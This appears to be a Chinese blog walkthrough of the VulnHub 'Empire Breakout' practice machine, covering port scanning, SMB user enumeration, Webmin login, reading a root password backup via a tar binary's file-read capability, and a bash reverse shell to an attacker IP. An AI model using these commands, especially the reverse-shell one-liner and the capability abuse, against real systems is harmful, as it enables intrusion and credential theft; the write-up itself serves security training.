当前位置: 首页 > news >正文

[ vulnhub靶机通关篇 ] Empire Breakout 通关详解

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

文章目录

  • 🍬 博主介绍
  • 一、环境搭建:
    • 1、下载靶场环境
    • 2、启动靶场环境
  • 二、渗透靶场
    • 1、目标:
    • 2、信息收集:查看端口和服务
    • 3、访问80端口发现提示信息得到一个密码
      • 1.访问一下web
      • 2.查看源码发现一段提示
      • 3.翻译解密提示信息
      • 4.brainfuck 语言简介
    • 4、访问10000和20000端口发现两个登录页
      • 1.访问10000端口
      • 2.访问20000端口
    • 5、收集有关靶机smb的信息获取到用户名cyber
      • 1.思路
      • 2.收集smb信息
      • 3.Enum4linux介绍
    • 6、利用获取的用户名和密码成功登录20000端口
    • 7、获取普通用户权限获取第一个flag
    • 8、获取root用户权限获取第一个flag
      • 1.查看当前权限
      • 2.发现tar可进行任意文件读取
      • 3.linux setcap命令的信息
      • 4.发现备份文件.old_pass.bak
      • 5.利用tar读取密码备份文件
      • 6.成功读取root密码
      • 7.发现网页命令行无法执行su命令
      • 8.反弹靶机shell到kali方式解决上述问题
      • 9.使用root密码登录root用户,提权成功
  • 三、相关资源

一、环境搭建:

1、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/empire-breakout,751/

下载下来的文件如下

在这里插入图片描述

2、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。
虚拟机开启之后界面如下,我们可以看到虚拟机ip:192.168.233.175

在这里插入图片描述

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:

192.168.233.175

2、信息收集:查看端口和服务

Nmap扫描靶机查看开启的端口和服务

nmap -sS -p 0-65535 -Pn -O 192.168.233.175

在这里插入图片描述

发现开放了80端口,存在WEB,
开放了139,445端口,存在SMB共享服务
开启了10000、20000端口,存在Webmin MiniServ服务(Webmin 是功能强大的基于 Web 的 Unix/linux 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理操作。)

3、访问80端口发现提示信息得到一个密码

1.访问一下web

http://192.168.233.175/

在这里插入图片描述

2.查看源码发现一段提示

<!--don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.-->

在这里插入图片描述

3.翻译解密提示信息

提示的大概意思就是:
翻译过来时:别担心没有人会来这里,和你分享我的权限是安全的。它是加密的:)
也就是说这段奇奇怪怪的代码是加密文件,我们需要将他进行解密,这应该是密码经过某种加密或者编码形成的,经过一段时间的查找,发现是ook加密,是brainfuck加密方法的一种
我们进行解密:解密工具:https://ctf.bugku.com/tool/brainfuck
解密过后是:

.2uqPEfj3D<P’a-3

在这里插入图片描述

4.brainfuck 语言简介

brainfuck 语言用 > < + - . , [ ] 八种符号来替换C语言的各种语法和命令,具体规则如下:
Brainfuck 编程语言由八个命令组成,每个命令都表示为一个字符。

> 增加指针。 
< 减少指针。 
+ 增加指针处的字节。 
- 减少指针处的字节。 
. 输出指针处的字节。 
, 输入一个字节并将其存储在指针处的字节中。 
[ 跳过匹配项] 如果指针处的字节为零。 
] 向后跳转到匹配的 [ 除非指针处的字节为零。 
Brainfuck 命令的语义也可以用 C 语言简洁地表达,如下(假设 p 之前已定义为 char*): 
> 变为 ++p; 
< 变成 --p; 
+ 变为 ++*p; 
- 变成 --*p; 
. 变成 putchar(*p); 
, 变成 *p = getchar(); 
[ 变成 while (*p) { 
] 变成 } 

4、访问10000和20000端口发现两个登录页

有一种强烈的预感,这是一段密码,先记录下来,接着我们继续查看另外两个网站
10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的

1.访问10000端口

https://192.168.233.175:10000/session_login.cgi

在这里插入图片描述

2.访问20000端口

https://192.168.233.175:20000/

在这里插入图片描述

5、收集有关靶机smb的信息获取到用户名cyber

1.思路

鉴于我们已经有了用户的密码,所以我们要着手寻找用户名了
由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息

2.收集smb信息

使用命令enum4linux可以收集大量的信息

enum4linux 192.168.233.175

在这里插入图片描述

最终发现了一个用户名cyber

在这里插入图片描述

3.Enum4linux介绍

Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它试图提供与以前从www.bindview.com可用的enum.exe类似的功能。它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。
用法:

./enum4linux.pl [选项] ip地址枚举选项:-U        获取用户列表-M        获取机器列表*-S        获取共享列表-P        获取密码策略信息-G        获取组和成员列表-d        详述适用于-U和-S-u user   用户指定要使用的用户名(默认""-p pass   指定要使用的密码(默认为"")以下选项是enum.exe未实现的: -L, -N, -D, -f其他选项:-a        做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项-h        显示此帮助消息并退出-r        通过RID循环枚举用户-R range  RID范围要枚举(默认值:500-550,1000-1050,隐含-r)-K n      继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用-l        通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)-s        文件暴力猜测共享名称-k user   远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)用于获取sid与“lookupsid known_username”使用逗号尝试几个用户:“-k admin,user1,user2”-o        获取操作系统信息-i        获取打印机信息-w wrkg   手动指定工作组(通常自动找到)-n        做一个nmblookup(类似于nbtstat)
-v        详细输出,显示正在运行的完整命令(net,rpcclient等)

6、利用获取的用户名和密码成功登录20000端口

由于20000端口是登录用户的,我们拿用户名cyber和之前获得的密码去登录一下20000端口,登陆成功

在这里插入图片描述

7、获取普通用户权限获取第一个flag

登录进去摸索了一会儿,发现左下角有一个终端的图标,点进去之后就可以运行命令了

在这里插入图片描述

进入命令行,执行ls发现有一个user.txt文件,使用cat查看,得到第一个flag

ls
cat user.txt

在这里插入图片描述

8、获取root用户权限获取第一个flag

1.查看当前权限

执行whoami发现是用户权限

whoami

在这里插入图片描述

2.发现tar可进行任意文件读取

通过ls -l查看文件权限,发现tar具有执行权限,猜想他是一个可执行文件

ls -l

在这里插入图片描述

通过getcap命令查看文件拥有的权限是什么

getcap tar

发现cap_dac_read _search=ep,说明他是可以读取任意文件的

在这里插入图片描述

3.linux setcap命令的信息

https://blog.csdn.net/megan_free/article/details/100357702\

4.发现备份文件.old_pass.bak

既然给了我们一个可进行任意读取的可执行文件,那就肯定是要我们找一个文件来读取,获得root的密码。
经过一段时间的寻找之后,发现/var/backups下有个备份文件.old_pass.bak

在这里插入图片描述

5.利用tar读取密码备份文件

我们用tar把它打包之后再解压出来,就没有权限问题了

./tar -cvf pass.tar /var/backups/.old_pass.bak
tar -xvf pass.tar

这里打包的时候一定要使用./tar,不然会提示没权限,没有加./代表的是你用的系统安装的tar不是这个目录下的tar,就不一定会有读取任意文件的权限

在这里插入图片描述

我们的用户目录下多了两个文件

在这里插入图片描述

6.成功读取root密码

cat var/backups/.old_pass.bak

得到root密码:

Ts&4&YurgtRX(=~h

在这里插入图片描述

7.发现网页命令行无法执行su命令

切换到root用户

su root

发现这里执行不了su

在这里插入图片描述

8.反弹靶机shell到kali方式解决上述问题

反弹shell后
那那那,我干脆反弹一个shell到我的kali吧
Kali监听

nc -lvvp 55555

在这里插入图片描述

靶机连接

bash -i >& /dev/tcp/192.168.233.130/55555 0>&1

在这里插入图片描述

攻击机获取到靶机的shell

在这里插入图片描述

9.使用root密码登录root用户,提权成功

切换到root用户

su root

执行whoami 发现是root权限,提权成功

在这里插入图片描述

得到第二个flag

cd /root
cat rOOt.txt

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、ook在线解密工具
3、enum4linux枚举工具
4、Brainfuck介绍
5、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
6、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

相关文章:

[ vulnhub靶机通关篇 ] Empire Breakout 通关详解

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…...

IP定位离线库有什么作用?

IP离线是什么意思&#xff1f;我们以丢失手机为例来寻找它&#xff0c;现在手机都有IP定位功能&#xff0c;只要手机开通了IP定位&#xff0c;就能找到手机。iPhone定位显示离线一般是iPhone手机关机了或者iPhone手机中“查找我的iPhone”功能关闭了。如果手机在手中的话可以打…...

[C++]vector模拟实现

目录 前言&#xff1a; 1. vector结构 2. 默认成员函数 2.1 构造函数 无参构造&#xff1a; 有参构造&#xff1a; 有参构造重载&#xff1a; 2.2 赋值运算符重载、拷贝构造&#xff08;难点&#xff09; 2.3 析构函数&#xff1a; 3. 扩容 3.1 reserve 3.2 resize…...

DevOps实战50讲-(2)Jenkins配置

1. Docker镜像方式安装拉取Jenkins镜像docker pull jenkins/jenkins编写docker-compose.ymlversion: "3.1" services:jenkins:image: jenkins/jenkinscontainer_name: jenkinsports:- 8080:8080- 50000:50000volumes:- ./data/:/var/jenkins_home/首次启动会因为数据…...

LC-1599. 经营摩天轮的最大利润(贪心)

1599. 经营摩天轮的最大利润 难度中等39 你正在经营一座摩天轮&#xff0c;该摩天轮共有 4 个座舱 &#xff0c;每个座舱 最多可以容纳 4 位游客 。你可以 逆时针 轮转座舱&#xff0c;但每次轮转都需要支付一定的运行成本 runningCost 。摩天轮每次轮转都恰好转动 1 / 4 周。…...

Umi使用百度地图服务

需求描述 需要在前端页面中使用地图定位功能&#xff0c;所以在前端umi项目中使用百度地图服务&#xff0c;由于umi项目默认没有入口的html文件&#xff0c;所以无法通过常规的在head中加入外链js的方式使用 百度ak zyqeLCzvQPCCNImRu9yRGOqWlEUicxxGreact使用百度api 链接:…...

js中getBoundingClientRect()方法

getBoundingClientRect()返回值是一个 DOMRect 对象&#xff0c;是包含整个元素的最小矩形&#xff08;包括 padding 和 border-width&#xff09;。该对象使用 left、top、right、bottom、x、y、width 和 height 这几个以像素为单位的只读属性描述整个矩形的位置和大小。除了 …...

Unity记录2.2-动作-动画、相机、Debug与总结

文章首发及后续更新&#xff1a;https://mwhls.top/4453.html&#xff0c;无图/无目录/格式错误/更多相关请至首发页查看。 新的更新内容请到mwhls.top查看。 欢迎提出任何疑问及批评&#xff0c;非常感谢&#xff01; 汇总&#xff1a;Unity 记录 摘要&#xff1a;重写了动画触…...

分享十个前端Web3D可视化框架附地址

Three.js&#xff1a;Three.js是一个流行的3D库&#xff0c;提供了大量的3D功能&#xff0c;包括基本几何形状、材质、灯光、动画、特效等。它是一个功能强大、易于使用的框架&#xff0c;广泛用于Web3D可视化应用程序的开发。Three.js&#xff1a;https://threejs.org/Babylon…...

基于WSL2和Clion搭建Win下C开发环境

系列文章目录 一、基于WSL2和Clion搭建Win下C开发环境 二、make、makeFile、CMake、CMakeLists的使用 三、全面、详细、通俗易懂的C语言语法和标准库 文章目录系列文章目录前言WSL2安装WSL常用命令VSCode连接WSLroot密码以systemd启动配置sshClion结语前言 Win下C语言开发环境…...

考研第一天,汤家凤基础班,连续与极限复习笔记

函数连续极限性质保号性证明极值点&#xff1a;夹逼准则二项式展开根号下&#xff0c;大于一&#xff0c;小于一的讨论直接放缩求和分子分母齐次&#xff0c;且分母大一次&#xff0c;用积分单调有界存在极限几个重要的切线放缩证明有界&#xff0c;然后放缩求单调证明有界&…...

聊一聊代码重构——关于变量的代码实践

提炼变量 其目标是将一个复杂表达式或语句分解成更小的部分&#xff0c;并将其存储在变量中。提高代码可读性和复用性 复杂的表达式 有些时候为了方便我们会把业务处理的逻辑写在一起&#xff0c;如果参与处理的内容较多时我们就会创造出一个非常长且难以理解的表达式。当其他…...

Spring之基于注解方式实例化BeanDefinition(1)

最近开始读Spring源码&#xff0c;读着读着发现里面还是有很多很好玩的东西在里面的&#xff0c;里面涉及到了大量的设计模式以及各种PostProcessor注入的过程&#xff0c;很好玩&#xff0c;也很复杂&#xff0c;本文就是记录一下我学习过程中的主干流程。 在开始我们源码解读…...

【STM32】入门(十四):FreeRTOS-任务

1、简述 FreeRTOS应用程序由一组独立的任务构成。 在任何时间点&#xff0c;应用程序中只能执行一个任务&#xff0c;FreeRTOS调度器负责决定所要执行的任务。 每个任务在自己的上下文中执行&#xff0c;不依赖于系统内的其他任务或 FreeRTOS的调度器本身。 FreeRTOS调度器负责…...

apscheduler 的基本介绍和使用

APScheduler有四大组件&#xff1a; 1、触发器 triggers &#xff1a; 触发器包含调度逻辑。每个作业都有自己的触发器&#xff0c;用于确定下一个任务何时运行。除了初始配置之外&#xff0c;触发器是完全无状态的。 有三种内建的trigger: &#xff08;1&#xff09;date: 特定…...

Oracle中merge Into的用法

Oracle中merge Into的用法 使用场景 在操作数据库时&#xff0c;数据存在的情况下&#xff0c;进行update操作&#xff1b;不存在的情况下&#xff0c;进行insert操作&#xff1b;在Oracle数据库中&#xff0c;能够使用merge into来实现。 基本语法 merge into table_name …...

JDK19下载、安装与测试的完整图文教程

一、下载JDK 1、官网获取&#xff1a;https://www.oracle.com/ 1.1 点击“Products”&#xff1b; 1.2 选择“Java”&#xff1b; 1.3 选择“Download Java”&#xff1b; 1.4 选择“Java downloads”&#xff0c;这里以最新版&#xff08;JDK19&#xff09;为例&#xff…...

Vector - CAPL - 获取相对时间函数

在自动化开发中&#xff0c;无论是CAN通信测试&#xff0c;还是网络管理测试&#xff0c;亦或是休眠唤醒等等存在时间相关的&#xff0c;都可能会使用相关的时间函数&#xff1b;今天主要介绍的就是获取当前时间&#xff0c;我们知道vector工具的最大优势就是稳定和精确度高&am…...

C++编程语言STL之unordered_map介绍

本文主要介绍 C 编程语言的 STL&#xff08;Standard Template Library&#xff09; 中 unordered_map 的相关知识&#xff0c;同时通过示例代码介绍 unordered_map 的常见用法。1 概述C标准库提供了四个无序关联容器&#xff08;unordered associated container&#xff09;&a…...

【独家】华为OD机试 - 最快检测效率-核酸(C 语言解题)

最近更新的博客 华为od 2023 | 什么是华为od,od 薪资待遇,od机试题清单华为OD机试真题大全,用 Python 解华为机试题 | 机试宝典【华为OD机试】全流程解析+经验分享,题型分享,防作弊指南)华为od机试,独家整理 已参加机试人员的实战技巧文章目录 最近更新的博客使用说明本期…...

网络编程(Modbus进阶)

思维导图 Modbus RTU&#xff08;先学一点理论&#xff09; 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议&#xff0c;由 Modicon 公司&#xff08;现施耐德电气&#xff09;于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

React 第五十五节 Router 中 useAsyncError的使用详解

前言 useAsyncError 是 React Router v6.4 引入的一个钩子&#xff0c;用于处理异步操作&#xff08;如数据加载&#xff09;中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误&#xff1a;捕获在 loader 或 action 中发生的异步错误替…...

脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)

一、数据处理与分析实战 &#xff08;一&#xff09;实时滤波与参数调整 基础滤波操作 60Hz 工频滤波&#xff1a;勾选界面右侧 “60Hz” 复选框&#xff0c;可有效抑制电网干扰&#xff08;适用于北美地区&#xff0c;欧洲用户可调整为 50Hz&#xff09;。 平滑处理&…...

《Playwright:微软的自动化测试工具详解》

Playwright 简介:声明内容来自网络&#xff0c;将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具&#xff0c;支持 Chrome、Firefox、Safari 等主流浏览器&#xff0c;提供多语言 API&#xff08;Python、JavaScript、Java、.NET&#xff09;。它的特点包括&a…...

电脑插入多块移动硬盘后经常出现卡顿和蓝屏

当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时&#xff0c;可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案&#xff1a; 1. 检查电源供电问题 问题原因&#xff1a;多块移动硬盘同时运行可能导致USB接口供电不足&#x…...

多模态大语言模型arxiv论文略读(108)

CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题&#xff1a;CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者&#xff1a;Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

基于matlab策略迭代和值迭代法的动态规划

经典的基于策略迭代和值迭代法的动态规划matlab代码&#xff0c;实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...

代理篇12|深入理解 Vite中的Proxy接口代理配置

在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...